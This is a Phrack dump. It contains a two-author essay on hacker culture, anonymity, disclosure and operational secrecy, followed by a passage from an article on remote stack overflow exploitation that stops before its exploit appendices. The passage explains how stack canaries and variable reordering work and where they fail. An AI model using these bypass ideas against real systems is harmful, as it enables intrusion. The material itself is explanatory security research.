analog_kid@phrack.org ]=----------=| |=-----------------------------------------------------------------------=| This is a tale of two hackers. Two souls lost in this world of bits. One tells a first hand tale of a hackers life. Another, gone mad from analyzing too many ltrace outputs, looks at the existence of Phrack Inc. from the outside. One wanted to be a hacker from childhood. The other had plans of being a rock star. None the less, here in this strange network of fibers, their paths collide and their stories are fused together. Who owns an idea when it is anonymous? Who is the arbiter of ethics, the individual hacker or the mass media? What good is a secret that cannot be shared? What defines an author if the author is anonymous? These are two stories from both hackers, fused together, as they struggle to answer such questions. It is a collage of segments from the two tales. ~~~ |=-----------------------------------------------------------------------=| |=----------=[ When I was a child I wanted to be one of them ]=----------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ by Antipeace ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - Who the hell is it written for? 2 - Who they think we are 3 - We are not _so_ special 4 - The downside of a hacking life 5 - So in the end... --] ~~~ |=-----------------------------------------------------------------------=| |=-------------------=[ The tale of the phrack boys ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------------=[ by The Analog Kid ]=------------------------=| |=-----------------------------------------------------------------------=| --[ Contents 1 - A witch hunt begins 2 - What do people think they are? 3 - Are they so special? 4 - Why they must lurk in the shadows of publicity 5 - Of the indictment and the witch hunt 6 - A closing note 7 - Acknowledgments 8 - References --] ~~~ --( A witch hunt begins )-- by The Analog Kid "Neither have been charged ... they expect to at least be called as witnesses at the case of the Phrack Boys [1] April 0x5, 1990, 6:50 AM: On that day a hacker is born into this world. March 0x1, 1990, 6:30 AM: Secret service agents charge into the room of Phrack Inc contributor, The Mentor. Their guns are drawn and pointed at his head. March 0x1, 1990, 11:00 AM: Secret service agents complete their search and seizure of The Mentor's property. Agents prepare to raid the Mentor's work office [1]. April 0x5, 1990, 12:00 PM: The wheels are spinning busily at Phrack Inc. With key members under investigation by the federal government, rumors are rampant of the journal's demise. Remaining members of the underground bustle to assemble a new issue and quell the rumors. "Phrack will and can't ever die, the journal proclaims [2]. ~~~ --( Who the hell is it written for? )-- by Antipeace If I had to make a choice, I would say that the hacking papers which impressed me the most were the unusual ones and by "unusual" I mean dealing with subjects such as esotericism, philosophy, and ethics. Yes the kind of things that would bore you to death. It's not that I systematically prefer intellectual masturbation over coding but let's face the pathetic truth: though there are exceptions, good technical papers are rarer and rarer and information is shamelessly duplicated everywhere. Interestingly enough, papers written on a thinking or life experience basis are on a whole other scale. Being based on personal experience, they are intrinsically unique. There is no better example than the excellent article written by TAp in this issue. Believe me it kicks ass; you'll feel it deep down. Writing these kind of things is usually done with the hope that a message will be transmitted. I personally chose to write mine for the people who have no clue of what a hacker's true life really is. That may include kids willing to learn about our culture as well as those of you who just came across these words. If you ever thought that being a hacker was as cool as what's pictured in the movies, then please don't stop reading. This paper, is just a set of personal thoughts regarding the (unfinished) life of one (or more ?) hackers amongst thousands. Neither the best nor the worst. Just one of them. ~~~ --( What do people think they are? )-- by The Analog Kid Phrack Inc., an online journal created by the hacker community, represents the contemporary hacker community. Its articles are still well respected within academia and it is likely that some of its content draws from the academy. Although Phrack Inc. may seem devious to mainstream society on the surface, it serves a deeper purpose as a medium to freely distribute substantive technical information between an underground community of computer programmers. Functionally, Phrack Inc. is an outlet for the free discussion of software exploitation. During my freshman year of college I stumbled upon a Phrack Inc. article from time to time, but never realized the site's importance until my sophomore year. I was enrolled in a graduate class and the professor used the web site as a reference in class one day. When discussing the use of the web-site with him after class, the professor was immediately intrigued that I was familiar with the site. He told me that, in his opinion, the contributors of Phrack Inc. were just as intelligent as those in academia, and that sometimes it was good to have publications that were more direct and less formal than their academic counterparts. In addition, an in depth knowledge of computer software and hardware is required, with references to assembly code, operating systems, glibc, gdb, and the dynamic linker strewn throughout the articles. The site is also respected by security professionals within the IT community, who use it as a tool to track the latest hacking methods [3]. Phrack, as a publication, creates an outlet for these hackers to express themselves and reveal their values to the public. ~~~ --( Who they think we are )-- by Antipeace The way we humans are generally perceived is really important to most of us as there is always an implicit resulting judgment. With the notable exception of psychos, most of us are probably willing to be seen as we 'truly' are, or in other words as we 'believe' ourselves to be, and not as we seem to be. As being hackers is part of our identity, it's only natural to feel concerned about how this secret part of our personality is seen by society. This brings the question of how hackers are perceived by people in general. Though there are notable exceptions, people usually see us as movies/books and magazines/TV shows describe us. Various fictional hackers are pictured in cyberpunk science fiction ('Matrix'), action movies ('Live Free or Die Hard'), caper films ('Sneakers') and more generally in many fictional stories. However compared to them, we average hackers from the real world are forced to admit that we're not that great: - we do not hack into satellites on a daily basis - we do not own OpenGL maps of buildings allowing us to control lights, elevators and doors at will - at some point encryption, passwords and firewalls may be troublesome even for us ;) Of course weak minds may be abused in the process and assume as a result that hackers are, at some point, what a typical Bruce Willis movie is showing them: wizards. Should we feel angry about it? Certainly not because this is fiction and everything is allowed. Now things are different when it comes to media. Who ever criticized the journalists? Not me, nor you, with high probability. Almost everybody was or will be the witness of a false claim (or of an obvious speculation) from a journalist in his lifetime. The problem is that taking into account the almost unlimited number of profiles in the audience, that's itself a hint pointing out that mistakes are frequent. What is obviously not correct for you may appear correct for me, and vice versa. Now what's interesting is that it gives us an idea about how fucked up a media outlet (newspaper, web site, TV show) may be regarding a particular area (such as security but not only). I believe there are two cases to consider: - Technical publications and/or computer literate media - Mass media aimed at the general public Regarding the first case, my personal belief is that this is two sided. Either the provided information is good or it's total bullshit. People who care are doing quality and not useless shit. From this point of view, popularization is the worst kind of information. Under the pretext of simplifying things for people, every kind of approximation appears to be allowed. Of course, publication being associated with sales and/or ratings, if something can be exaggerated to impress even more, why not? Why would journalists try to understand and care about their subject? After all the target is a mass audience. So if 2 or 3 people were mad, who would give a shit about it? I've hated journalists for a long time for what I thought to be their incompetence. I later learned about the dramatic conditions they're living in: precarious employment and the necessity to write ever more for a low salary. Journalism changed and now I hate journalists for their lack of professionalism. You may argue that one needs to live but I would answer back that nothing justifies intellectual prostitution. If a person is clever enough to have that kind of job, other jobs should be possible as well. Now coming back to us, how could we be correctly understood / represented in these conditions? Sadly, bad journalism is often mass journalism which makes things even worse as people (including around you) will always be influenced. Trying to change their way to see things is already a lost cause. As a hacker you will have to learn to live with bullshit all around you. It may be tough but the only important thing is to have independent self-esteem, not relying on the judgement of others. A good psychologist would even tell you that it's necessary for personal construction... ~~~ --( Are they so special? )-- by The Analog Kid Why then are these hackers cast in such an antagonistic light by the media, if the contributors to journals such as Phrack are mainly thinkers? Given that Phrack's content is as substantial and intellectual as an academic journal, why is its community cast in such an antagonistic light? Morally, Phrack Inc. is in a gray area. The site itself does not engage in or promote illegal activity, however the information on Phrack Inc. is published in a very open way; Phrack Inc. does not assume responsibility for what the criminal underground may do with their information. More formal research communities would consider it moral etiquette to have security holes fixed before publishing them. Phrack Inc.'s tendency to publish information with no forewarning is a testament to the group's valuation of free information and an uncontrollable side effect of its association with the hacking underground. Most Phrack releases have a GPG key included with the introduction [4]. This is not a feature commonly seen in academic or professional articles. Functionally there is an important reason to have an encryption key, it allows the articles to be submitted securely (if the e-mail is intercepted the contents could not be read), preserving the identity of the author. This highlights the controversial nature of what is discussed in the hacker community, as well as the members' valuation of anonymity. By remaining anonymous they feel able to safely continue the free flow of information, which is the ultimate goal of Phrack Inc. The free flow of information at Phrack allows one to learn a-lot about the hackers who submit articles to it. Their values, their personality, and their intellectual curiosity is spread all throughout the articles. ~~~ --( We are not _so_ special )-- by Antipeace Having earlier outlined my disagreement with the common beliefs, now is the time to share my own vision. IMHO no one is born designated to become a "hacker" some day. I don't know if there are predispositions (maybe our insane curiosity or the urge to understand things?) but I would say that being a hacker is essentially about acquiring a hacking mindset. Now that being said, let's see what a hacker truly is. Intellect --------- Though movies and medias sometimes describe hackers as genius (see "Hackers" with the cute Angelina Jolie for example ;) who for some reason are shown proficient with computers, reality is a bit different. Sorry to destroy the myth but the average hacker is just an intellectual. Of course, there are true geniuses amongst us but the fundamental difference lies in the willingness to exploit our brain as much as possible in order to ask the essential questions as well as to find the appropriate answers. There is usually no need to be brilliant to impress people with hacking. Let me make an analogy to magicians. Even the simplest tricks are amazing for people who don't know how they are working. Things are the same in hacking. Daily life hacking is probably more about using thousands of cheap tricks but people are not aware of that. Since this kind of cheap hacking has visible consequences for the masses, hackers are falsely assumed to be the geniuses described in movies. Personality ----------- Most hackers are computer 'freaks' able to spend hours in front of their screen in order to solve a particular problem. In a way, hackers are geeks and there are thousands of them. That said, it must be added that they have this unusual characteristic growing with time: the obsessional will to discover incoherency, mistakes (having impacts in security or not) in everyday life. As I said, a hacker is probably not smarter than you, but he/she is way more focused. What may be cool at first sight is sometimes heavy to carry. Imagine yourself analyzing everything. Not only is that painful for others (friends, coworkers, family, lovers) to have this kind of person around but it can also be troublesome for you. Indeed you will sometimes be mad because of all these daily pieces of nonsense that ordinary people do not notice. Probably because of that, some hackers assume that they are smarter than the rest of the world, sometimes internally thinking they are some House-like guy, and quickly develop unfortunate ego issues which are discussed later. Social profile -------------- Once again, it would be easy to draw quick conclusions based on collective imagery and again, there is no simple description as it's impossible to generalize. The social profile of individuals is a mix of both their personality and their evolution. Amongst the hackers I've met around the world, I can say that I've seen people who are: - socially isolated / barely capable of having a proper conversation - "normal" (taking into account the usual criteria) - extroverts always talking to everybody everywhere they go Personally I would say that I quickly understood that a social life was important, not to say necessary. Having natural tendencies to be an introvert, I've worked with myself to reach a stable equilibrium. Note that I try as much as possible not to mix my activities and my social life. The reason is simple: as I said, people around me are not able to understand (because of the lack of technical background) nor really willing to understand it (because of the prejudices coming from the media). Anyway this is not that bad, considering the security consequences of being a chatterbox. ~~~ --( Why they must lurk in the shadows of anonymity )-- by The Analog Kid Those who do choose to share their information generally publish under anonymous aliases so as to protect their true identity. Publishing articles under anonymous screen names is in stark contrast to academia, where the goal is to have as much information published with your name as possible. Part of why academia admires Phrack Inc. is that by retaining anonymity, its members are free to discuss topics at will without concern for "political fallout. Some of the authors of Phrack Inc. are listed as, "nemo, "huku, and "BSDaemon [5]. As a case study in this anonymous culture, the introduction of Phrack Inc. issue 66, contains a good-bye to a friend: "cliph [4]. No other information is given. I inadvertently stumbled across the identity of this Cliph while reading an article on a different web-site, which stated that, "This post is dedicated to Wojciech "cliph Purczynski. [6]. Even with the full name available, a search for information yields no clues as to what became of this individual. Multiple tributes to the individual known as "cliph show that within the hacker community there is respect and recognition to the most skilled members; this is not different than academia. The issue of using anonymous screen names is directly confronted at the end of the "Malloc DES-Maleficarum article, where the author comments on a quote by Eric S. Raymond who criticizes the use of such false names. The author confronts the reader with the question, "Is there some connection between our name and our skills, philosophy of life or our ethics in hacking [7]? The author -- intending to speak for the community as a whole -- argues that the means by which they identity themselves is a result of society's judgement on computer hackers and not a reflection of the people. It is interesting that an American, Eric Raymond, would place heavy emphasis on the personal ownership of ideas, a very American value. The Phrack Inc. community, undoubtedly as global as the Internet within which it exists, shows interest in expanding knowledge and the ideas of others, rather than taking personal ownership of static concepts. In its layout, Phrack Inc. exhibits a much more informal nature than formal publications. Consider for example, the previously mentioned article "Malloc DES-Maleficarum. The title is a clear allusion to the Malleus Maleficarum, a treatise on witches published in 1486 during the inquisition [8]. By invoking references to witchcraft the journal is again making light of the negative connotations society imposes upon it. The section headings too are of an unconventional nature: "The House of Mind, "The House of Prime, "The House of Spirit, "The House of Force, "The House of Lore, and "The House of Underground [7]. Article 5, "Backdooring Juniper Firewalls, also makes reference to movies in it sections headings, with titles such as "Netscreen of the Dead, and "28 Hacks Later [10]. The references to Medieval texts and creative naming schemes demonstrates a level of culture and sophistication (as well as humor) within the community. Although the space here would not allow for such discussion, the audience might stop for a moment and consider what it means to be an author, and whether a legal name is truly required to identify a work as one's own. In Michael Foucault's essay, "What Is an Author?, Foucault decrees that, "The author function is linked to the juridical and institutional system that encompasses, determines, and articulates the universe of discourses [12]. If this statement is accurate, then the function of the author at Phrack Inc. is to allow the free distribution of material that might otherwise be censored. The raids and indictment of founding Phrack Inc. members discussed at the beginning show the severe role that the global juridical system has in directing Phrack Inc's style of discourse. If "institutional [12] refers to the ad hoc rules of morality and ethics imposed by society, then this again forces the Phrack Inc. contributors into an anonymous universe of discourse, as society might forsake these contributors. Consider how a deep and publicized knowledge of controversial computer hacking methods might be a black mark on the reputation of any programmer applying for work with a large corporation. The need to protect ones identity, and avoid public recognition for their discoveries, is one of the downsides that comes with being a member of the hacker community. ~~~ --( The downside of a hacking life )-- by Antipeace Consider life in general. People are not always happy because they are bothered with random things such as the neighbor's dog always barking for nothing, their child having bad grades at school, etc. The modern world is full of stress and there is nothing to do but to bear it. Hacking certainly has cool aspects (though contrary to movies, in the end you won't get the girl after saving the world) but it also has side effects that are added to the current level of daily stress. Occasionally, you will be angry or anxious. You may even become paranoid at some point. This is mainly what I call the downside of the hacking life. The disclosure war ------------------ Well this is a hot topic. To simplify things for those who are unfamiliar, let's say that the hacking scene is divided in two groups of individuals: - people publishing (or willing to publish) bugs, exploits, papers - people who want to keep these things secret or at the very least within the underground Though clearly belonging to the second group, I won't try to convince you that disclosure is bad as the arguments for both sides are valuable. I just choose my side. However, I can tell you how this issue may affect you or your friends. If you are a so called 'black hat', then there is a good chance that you have developed techniques or exploits based on your own discoveries. Ten years ago, if you were smart/skilled enough, being innovative could bring you new kickass tools/exploits in a matter of hours or days at the very least. Things are a bit different nowadays and the required time for giving birth has increased a lot (though virtualization and generalization of scripting languages helped a lot). If you consider remote exploits targeting C programs, it takes so much time to find and exploit bugs that the cost of doing so is now insane. Now imagine that you've been working on a particular bug for weeks / months. How would you react if some guy were to publish it as a full disclosure? Oh you would be angry, and you may even be willing to kill him. The fact that the bug may have been leaked or that the guy releasing may not have understood the bug properly would only exacerbate your feelings. The ring of trust ----------------- What ever hacking activities you have, there is little doubt that you won't remain alone. Socially speaking, at some point you will try to be part of a community or part of a group because: - you will want to find people able to understand what you are doing - you will want to share information This will bring the unavoidable question of the amount of trust that you can place in fellow hackers. Ironically this is a security problem and as such it must be solved before exchanging anything. Practically speaking, we all make the same mistake at least once: we trust and we are betrayed. (---------------------------------) He that has eyes to see and ears to hear may convince himself that no mortal can keep a secret. If his lips are silent, he chatters with his fingertips; betrayal oozes out of him at every pore. Sigmund Freud (---------------------------------) Amongst the consequences of information leaks, I've personally been the witness of the two following sad things: - Busts. Never forget that there may be people leaking information to the government agencies amongst us. While it's true that most people will unintentionally leak, some of them may be directly working for the gov either because they got busted themselves and had no choice but to cooperate or because they were the enemy from the very beginning. Also one piece of advice, do not make the mistake of assuming that your friends will be mute once caught, we're only human beings. - 0day leaks. Fortunately it happens more often than the previous case. Whenever you see the price of bugs (or of the exploits), you can imagine how much of a temptation it can be to sell them if you are some jackass. But how would the asshole get the information? I came up with a theory. Because of the very nature of our research, I believe that the more innovative/kickass/time-consuming it is, the more likely you will be to share the information with at least someone else. It's just like owning some big secret that you can't share with anyone. Now consider the analogy of a pebble being thrown on the surface of a pond. Each time the pebble hits the surface, waves propagate. If the pebble is the information then the waves are the leak. One strike may induce countless waves: your 0day is condemned to death. Now a personal message for my fellow hackers. If you want to avoid these pinches on your chest when your precious bugs are disclosed, there is only one thing to do: stop crying over your loss and next time shut the fuck up. Nothing else is working, you should know that. This trust must be placed with time. I would also recommend the GPG chain of trust model. It's not flawless (and far from it, believe me) but it may be a good alternative. It will allow you to release the tension of having to always keep things to yourself, and yet doing it in a 'controlled' way... Ego and acknowledgment ---------------------- It usually takes time to be mentally strong. No matter how smart people are, they will have ego issues at some point in their hacking life. The problem is that ego is responsible for the urge for acknowledgment that push people to: - disclose security flaws & exploits - publish and display themselves more than required in conferences - spend time on IRC / ML explaining to the world how cool they are Don't get me wrong, this is not a complaint against disclosure. Some people choose to disclose bugs and/or techniques out of their own free will. This is their choice and I respect that. Now things are different when your mind is fucked because of your increasing ego. Like I said, everyone in our community is fucked at some point in his life, loses common sense and ends up doing stupid things. Of course, I'm no exception as I've done things I'm not proud of years ago. While this ego thing is supposed to be a short period in your life (people grow up), it seems that part of the security circus definitely lost itself. Drugs & alcohol --------------- To tell you the truth I have no real explanation about our insane alcohol consumption. I guess this is just part of the culture. Whenever you see your friends, you have to drink and with time, you'll drink more and more often (though not as much as .pl guys, damned crazy drunken bastards ;>). However while your physical (kidney) tolerance increases with time, the vicious side effect of alcohol will remain: while drunk you will be more likely to leak information. My advice: if you have little control over yourself, do not heavily drink with unknown people. Amongst fellow hackers, most drug users that I know tried many things out of curiosity and a willingness to experiment, which are both part of their hacker nature. They also take drugs to enhance their creativity or their ability to concentrate. As such, drugs may have a positive impact on your hacking. I doubt I will ever see a hacker amongst high level athletes ;-) ~~~~ --( Of the indictment and the witch hunt )-- by The Analog Kid So then what of Phrack Inc.? If not academic or professional in nature, can it be dismissed as merely the mischievous work of hooligans? Certainly the technical expertise and respect the journal has gained within academia and the professional world shows that this work is not easily dismissed as trivial. What of its ethics then? What really is the genre and purpose of Phrack Inc.? On July 23, 1990 the trial of Craig Neidorf, the 19 year old pre-law student who founded Phrack Inc. out of a desire to exercise free speech, began. Neidorf was indicted on 10 felony counts carrying a maximum penalty of 65 years in prison, primarily related to the theft of a proprietary Bell South document claimed to be worth $23,000. After the defense demonstrated that the information Neidorf was accused of stealing could be obtained from Bellcore by calling a 800 number and paying a $13 fee, the government was forced to drop all charges to avoid utter embarrassment [11]. On the surface the actions of Craig Nedorf seemed sinister and criminal in nature. The facts of the case however, showed the below the surface were innocent intentions mislabeled by the institutions of society. Although society may view Phrack Inc. as devious and criminal, what really lies behind the facade is a journal of credible intellectual material that, while coming from a different culture, rivals that of academia. The members of this community all have their own unique experiences and views and we can learn a lot about society and the flow of information by listening to what these people have to say. ~~~ --( So in the end... )-- by Antipeace When I was a child I wanted to be one of them, I wanted to be a hacker. More than two decades later, not only have I finally fulfilled this dream but I have also gathered enough experience to analyze the impact that it has had on my life. Clearly it brought me a lot. Not only have I met the most fascinating people of my life, but it gave me this feeling that no matter how fucked things could be around us, I would always be able to see through it. However living a hacker's life wasn't harmless as I experimented with a few unpleasant things, which even now still have (minor) impacts on my life. Without a doubt, the more you experiment, the stronger you become. That's why I will never regret having chosen this path. I wrote this paper as an anonymous author (ego issues being mostly behind me at the time of writing) with the hope that people interested in the underground culture would read it. I tried to focus on the more interesting points. There is a lot more that could be developed as I only threw a few ideas around, sometimes exclusively mine, sometimes shared by fellow hackers and friends. ~~~ --( A Closing Note )-- by The Analog Kid And so two stories, from two hackers, have been fused in time and presented to you here at Phrack Inc. We hope you learned something about the culture One story was written by a hacker speaking of his own life; the other was a story hoping to analyze the hacker culture, and Phrack's place in discourse, on a large scale. We hope you learned something about who these "hackers" seen in media references are, what they believe, and what drives them. ~~~ --( Acknowledgments )-- by The Analog Kid First I give a tip of the hat to Rutty for teaching me how to write, and still teaching me to write years later. To Roadie for teaching me how to write, skipping town, and never teaching me how to write again. To Bearz for showing me how to work outside the box. And to Ziggy for condensing whole paragraphs of mine into single sentences. :) Without L.A. this paper would have lacked much of its direction, and in fact the W.C. made substantial contributions. Finally, thanks to al1c3_c00p3r for helping me to polish the final product. ~~~ --( Acknowledgments )-- by Antipeace To my friends... Special fuck to kingc0pe and his fellow cockroaches. ~~~ --( References )-- by The Analog Kid [1] Phreak_Accident. (2010, September 21) Phrack World News: Issue XXXI, Part Three. [Online]. Available: http://phrack.org/issues.html?issue=31&id=10#article [2] DH. (2010, September 21) Intro to Phrack 31. [Online]. Available: http://phrack.org/issues.html?issue=31&id=1#article [3] W. Sturgeon. (2010, September 21) Long-lived Hacker Mag Shuts Down. [Online]. Available: http://news.cnet.com/Long-lived-hacker-mag-shuts-down/2100- 7349_3-5783383.html [4] The Circle of Lost Hackers. (2010, September 16) Introduction. [Online]. Available: http://phrack.org/issues.html?issue=66&id=1#article [5] (2010, September 16) Phrack Authors. [Online]. Available: http://phrack.org/authors.html [6] B. Hawkes. (2010, September 19) Linux Compat Vulns (part 2). [Online]. Available: http://sota.gen.nz/compat2/ [7] blackngel. (2010, September 15) Malloc DES-Maleficarum. [Online]. Available: http://phrack.org/issues.html?issue=66&id=10#article [8] (2010, September 18) The Malleus Maleficarum. [Online]. Available: http://www.malleusmaleficarum.org/ [9] L. Highsmith. (2010, September 19) Linux Kernel Heap Tampering Detection. [Online]. Available: http://phrack.org/issues.html?issue=66&id=15#article [10] Graeme. (2010, September 19) Netscreen of the Dead: Developing a Trojaned Firmware for Juniper ScreenOS Platforms. [Online]. Available: http://phrack.org/issues.html?issue=66&id=5#article [11] D. Denning, "The United States Vs. Craig Neidorf: a Debate on Electronic Publishing, Constitutional Rights and Hacking." Communications of the ACM, 1991. [12] M. Foucault, The Foucault Reader, P. Rainbow, Ed. Vintage, 1984. [13] (2010, September 26) Phrack Magazine. [Online]. Available: http://phrack.org/ --------[ EOF ==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x0d of 0x10 |=-----------------------------------------------------------------------=| |=------=[ Scraps of notes on remote stack overflow exploitation ]=------=| |=-----------------------------------------------------------------------=| |=-------------=[ Adam 'pi3' Zabrocki - pi3 (at) itsec pl ]=-------------=| |=-----------------------------------------------------------------------=| ---[ Contents 1 - Introduction 2 - Anti Exploitation Techniques 3 - The stack cookies problem 3.1 - A story of cookie protection 3.2 - The canary security 3.3 - Exploiting canaries remotely 4 - A few words about the other protections 5 - Hacking the PoC 6 - Conclusion 7 - References 8 - Appendix - PoC 8.1 - The server (s.c) 8.2 - The exploit (moj.c) ---[ 1. Introduction Before the main topic of this article starts I would like to say, this paper describes a few little techniques based on small observations related to the POSIX standard. This observation open a small door for us to use a mix of well known exploitation techniques for bypassing modern security mechanisms / systems. Nowadays, finding a stack overflow error does not imply a successful attack on the system. Bah! Nowadays, it is much harder, nearly impossible to do a remote attack. This is because of the new security patches which strongly increase the difficulty of exploiting bugs. We have a really impressive number of different kind of patches that protect against attacks in different layers and use different ideas. Let's look at the most popular and typically used ones in modern *NIX systems. --[ 2. Anti Exploitation Techniques *) AAAS (ASCII Armored Address Space) AAAS is a very interesting idea. The idea is to load libraries (and more generally any ET_DYN object) in the 16 first megabytes of the address space. As a result, all code and data of these shared libraries are located at addresses beginning with a NULL byte. It naturally breaks the exploitation of the particular set of overflow bugs in which an improper use of the NULL byte character leads to the corruption (for example strcpy() functions and similar situations). Such a protection is intrinsically not effective against situations where the NULL byte is not an issue or when the return address used by the attacker does not contain a NULL byte (like the PLT on Linux/*BSD x86 systems). Such a protection is used on Fedora distributions. *) ESP (Executable Space Protection) The idea of this protection mechanism is very old and simple. Traditionally, overflows are exploited using shellcodes which means the execution of user supplied 'code' in a 'data' area. Such an unusual situation is easily mitigated by preventing data sections (stack, heap, .data, etc.) and more generally (if possible) all writable process memory from executing. This cannot however prevent the attacker from calling already loaded code such as libraries or program functions. This led to the classical return-into-libc family of attacks. Nowadays all PAE or 64 bits x86 linux kernel are supporting this by default. *) ASLR (Address Space Layout Randomization) The idea of ASLR is to randomize the loading address of several memory areas such as the program's stack and heap, or its libraries. As a result even if the attacker overwrites the metadata and is able to change the program flow, he doesn't know where the next instructions (shellcode, library functions) are. The idea is simple and effective. ASLR is enabled by default on linux kernel since linux 2.6.12. *) Stack canaries (canaries of the death) This is a compiler mechanism, in contrast to previously kernel-based described techniques. When a function is called, the code inserted by the compiler in its prologue stores a special value (the so-called cookie) on the stack before the metadata. This value is a kind of defender of sensitive data. During the epilogue the stack value is compared with the original one and if they are not the same then a memory corruption must have occurred. The program is then killed and this situation is reported in the system logs. Details about technical implementation and little arm race between protection and bypassing protection in this area will be explained further. --[ 3. The stack cookies problem --[ 3.1. A story of cookie protection There were / are many of its implementations. Some of them are better while others are worse. Definitely the best implementation is SSP (Stack Smashing Protector), also known as ProPolice which is our topic and has been included in gcc since version 4.x. How do those canaries work? At the time of creating the stack frame, the so-called canary is added. This is a random number. When a hacker triggers a stack overflow bug, before overwriting the metadata stored on the stack he has to overwrite the canary. When the epilogue is called (which removes the stack frame) the original canary value (stored in the TLS, referred by the gs segment selector on x86) is compared to the value on the stack. If these values are different SSP writes a message about the attack in the system logs and terminate the program. When a program is compiled with SSP, the stack is setup in this way: | ... | ------------------------------- | N - Argument for function | ------------------------------- | N-1 - Argument for function | ------------------------------- | ... | ------------------------------- | 2 - Argument for function | ------------------------------- | 1 - Argument for function | ------------------------------- | Return Address | ------------------------------- | Frame Pointer | ------------------------------- | xxx | ------------------------------- | Canary | ------------------------------- | Local Variables | ------------------------------- | ... | What is an 'xxx' value? So... It is very common that gcc adds some padding on the stack. In compilers of the 3.3.x and 3.4.x versions it is usually 20 bytes. It prevents exploiting off-by-one bugs. This article is not about this solution either, but we should be aware of that. The reordering issue -------------------- Bulba and Kil3r published a technique in their phrack article [1] on how to bypass this security protection, if the local variables are in this kind of configuration: --------------------------------------------------------------------------- int func(char *arg) { char *ptr; char buf[MAX]; ... memcpy(buf,arg,strlen(arg)); ... strcpy(ptr,arg); ... } --------------------------------------------------------------------------- In this situation we don't need to overwrite the canary value. We can simply overwrite the ptr pointer with the return address. Since it's used as the destination pointer of a memory copy then we can set what we want and where we want (which includes the return address) without touching the canary: | ... | ------------------------------- | arg - Argument for function | ------------------------------- ----> | Return Address | | ------------------------------- | | Frame Pointer | | ------------------------------- | | xxx | | ------------------------------- | | Canary | | ------------------------------- ---- | char *ptr | ------------------------------- | char buf[MAX-1] | ------------------------------- | char buf[MAX-2] | ------------------------------- | ... | ------------------------------- | char buf[0] | ------------------------------- | ... | In this kind of situation, if an attacker can directly (or not) modify a pointer, the canaries of the death may fail! In fact SSP is much more complicated and advanced than other implementations of the canaries of the death (e.g. StackGuard). Indeed SSP also uses some heuristic to order the local variables on the stack. For example, imagine the following function: --------------------------------------------------------------------------- int func(char *arg1, char *arg2) { int a; int *b; char c[10]; char d[3]; memcpy(c,arg1,strlen(arg1)); *b = 5; memcpy(d,arg2,strlen(arg2)); return *b; } --------------------------------------------------------------------------- In theory the stack should more or less look like that: (d[..]) (c[..]) (*b) (a) (...) (FP) (IP) But SSP changes the order of the local variables and the stack will instead look like this: (*b) (a) (d[..]) (c[..]) (...) (FP) (IP) Of course SSP always adds the canary. Now the stack looks really bad from the attacker's point of view: | ... | ------------------------------- |arg1 - Argument for function | ------------------------------- |arg2 - Argument for function | ------------------------------- | Return Address | ------------------------------- | Frame Pointer | ------------------------------- | xxx | ------------------------------- | Canary | ------------------------------- | char c[..] | ------------------------------- | char d[..] | ------------------------------- | int a | ------------------------------- | int *b | ------------------------------- | Copy of arg1 | ------------------------------- | Copy of arg2 | ------------------------------- | ... | SSP always tries to put all buffers close to the canary, while pointers as far from the buffers as it can. The arguments of the function are also copied in a special place on the stack so that the original arguments are never used. With such a reordering the chances to overwrite some pointers to modify the control flow seem low. It looks like an attacker doesn't have any other option than a mere bruteforce to exploit stack overflow bugs, does he? :) The limitations of SSP ---------------------- Even SSP is not perfect. There are some 'special' cases when SSP can't create a 'safe frame'. Here are some of the known situations: *) SSP does NOT protect each buffer separately. When data on the stack is reordered in a safe way we can still overwrite the buffer by another buffer. If there are many buffers, all of them will be put close to each other. We can imagine the situation when a buffer, which is before another buffer, can overwrite it. If there are data used by the application for the control flow in the overflown buffer, then a door is open and depending on the program it may be possible to exploit this control. *) If we have structures or classes, SSP will NOT reorder the arguments inside of this data area. *) If the function accepts a variable number of arguments (such as *printf()) then SSP will not know how many arguments to expect. In this situation the compiler will not be able to copy the arguments in a safe location. *) If the program uses the alloc() function or extends the standard C language on how to create a dynamic array (e.g. char tab[size+5]) SSP will place all this data on top of the frame. People interested in dynamic arrays should read andrewg's phrack paper on the subject [13]. *) In most cases, when the application "plays" with virtual functions in C++, it is hard to create a 'secure frame' - for detailed information please read reference [2]. **) Some distributions (like Ubuntu 10.04) have a canary which is masked by value 0x00FFFFFF. The NULL byte will be always there. **) StackGuard v2.0.1 always uses the static canary 0x000AFF0D. These bytes weren't chosen randomly. The 0x00 byte is for stopping the copy of strings arguments. The 0x0A byte is the 'new line' and it can stop reading bytes by function like *gets(). The byte 0xFF and 0x0D ('\r') can sometimes stop copying process too. If you check the value of terminator canary generated by SSP on non system-V you will discover it is almost the same. StackGuard add also the byte '\r' (0x0D) which SSP doesn't. ---[ 3.2 - The canary security Beginning from the gcc version 4.1 stage2 [6], [7] the Stack Smashing Protector is included by default. Gcc developers reimplemented IBM Pro Police Stack Detector. Let's look at its implementation under the loupe. We need to determine: *) If the canary is really random *) If the address of the canary can be leaked The runtime protection ----------------------- If we look inside a protected function we can find the following code added by SSP to the epilogue: --------------------------------------------------------------------------- 0x0804841c : mov -0x8(%ebp),%edx 0x0804841f : xor %gs:0x14,%edx 0x08048426 : je 0x804842d 0x08048428 : call 0x8048330 <__stack_chk_fail@plt> --------------------------------------------------------------------------- This code retrieves the local canary value from the stack and compares it with the original one stored in the TLS. If the values are not the same, the function __stack_chk_fail() takes control. The implementation of this function can be found in GNU C Library code in file "debug/stack_chk_fail.c" --------------------------------------------------------------------------- #include #include extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } --------------------------------------------------------------------------- What is important is that this function has the attribute "noreturn". That means (obviously) that it never returns. Let's look deeper and see how. The definition of the function __fortify_fail() can be found it in file "debug/fortify_fail.c" --------------------------------------------------------------------------- #include #include extern char **__libc_argv attribute_hidden; void __attribute__ ((noreturn)) __fortify_fail (msg) const char *msg; { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: ""); } libc_hidden_def (__fortify_fail) --------------------------------------------------------------------------- So __fortify_fail() is a wrapper around the function __libc_message() which in turn calls abort(). There is indeed no way to avoid it. The initialisation ------------------- Let's have a look at the code of the Run-Time Dynamic Linker in "etc/rtld.c". The canary initialisation is performed by the function security_init() which is called when the RTLD is loaded (the TLS was init by the init_tls() function 